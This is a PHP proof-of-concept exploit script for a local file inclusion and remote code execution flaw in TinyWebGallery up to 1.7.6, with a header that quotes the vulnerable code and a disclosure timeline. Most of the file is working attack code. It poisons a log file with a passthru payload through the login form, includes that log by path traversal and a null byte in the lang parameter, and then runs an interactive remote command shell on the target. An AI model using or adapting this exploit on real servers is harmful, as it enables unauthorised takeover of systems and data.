<?php

/*
  -----------------------------------------------------------
  TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit
  -----------------------------------------------------------
  
  author...: EgiX
  mail.....: n0b0d13s[at]gmail[dot]com
  
  link.....: http://www.tinywebgallery.com/
  details..: this vulnerability drift from QuiXplorer (http://quixplorer.sourceforge.net/)

  This PoC was written for educational purpose. Use it at your own risk.
  Author will be not responsible for any damage.

  [-] vulnerable code in /admin/_include/init.php

  110.  // Get Language
  111.  if (isset($GLOBALS['__GET']["lang"]))  $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS['__GET']["lang"];
  112.  elseif (isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS['__POST']["lang"];
  113.  else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"];  
  114.  else $GLOBALS["language"] = $GLOBALS["default_language"];
  115.  
      [...]
  138.  
  139.  // ------------------------------------------------------------------------------
  140.  // Necessary files
  141.  require _QUIXPLORER_PATH . "/_config/conf.php";
  142.  
  143.  if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))
  144.      require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";
  145.  else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))
  146.      require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";
  147.  else
  148.      require _QUIXPLORER_PATH . "/_lang/en.php";

  An attacker could be able to include arbitrary local files through the require function at line 144, due to
  $_GET['lang'] parameter isn't properly sanitised. Successful exploitation requires magic_quotes_gpc = off

  [-] Disclosure timeline:
    
  [14/04/2009] - Bug discovered
  [25/04/2009] - Vendor contacted
  [26/04/2009] - Vendor replied
  [26/04/2009] - Fix released: http://www.tinywebgallery.com/forum/viewtopic.php?t=1653
  [08/05/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
  if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
    die("\nsocket_create(): " . socket_strerror($s) . "\n");

  if (socket_connect($s, $host, 80) == false)
    die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

  socket_write($s, $packet, strlen($packet));
  while ($m = socket_read($s, 2048)) $response .= $m;

  socket_close($s);
  return $response;
}

function check_target()
{
  global $host, $path;

  $packet  = "GET {$path}info.php?showphpinfo=true HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";

  preg_match('/magic_quotes_gpc<\/td><td class="v">(.*)<\/td><td/', http_send($host, $packet), $match);

  if ($match[1] != "Off") die("\n[-] Exploit failed...magic_quotes_gpc = on\n");
}

function inject_code()
{
  global $host, $path;

  $code   = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die} ?>";
  $payload = "p_user={$code}&p_pass=";

  $packet  = "POST {$path}admin/index.php?action=login HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($payload)."\r\n";
  $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $payload;

  http_send($host, $packet);
}

print "\n+---------------------------------------------------------------------+";
print "\n| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
  print "\nUsage......: php $argv[0] host path\n";
  print "\nExample....: php $argv[0] localhost /";
  print "\nExample....: php $argv[0] localhost /twg/\n";
  die();
}

$host = $argv[1];
$path = $argv[2];

check_target();
inject_code();

$packet  = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while (1)
{
  print "\ntwg-shell# ";
  if (($cmd = trim(fgets(STDIN))) == "exit") break;
  $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}

?>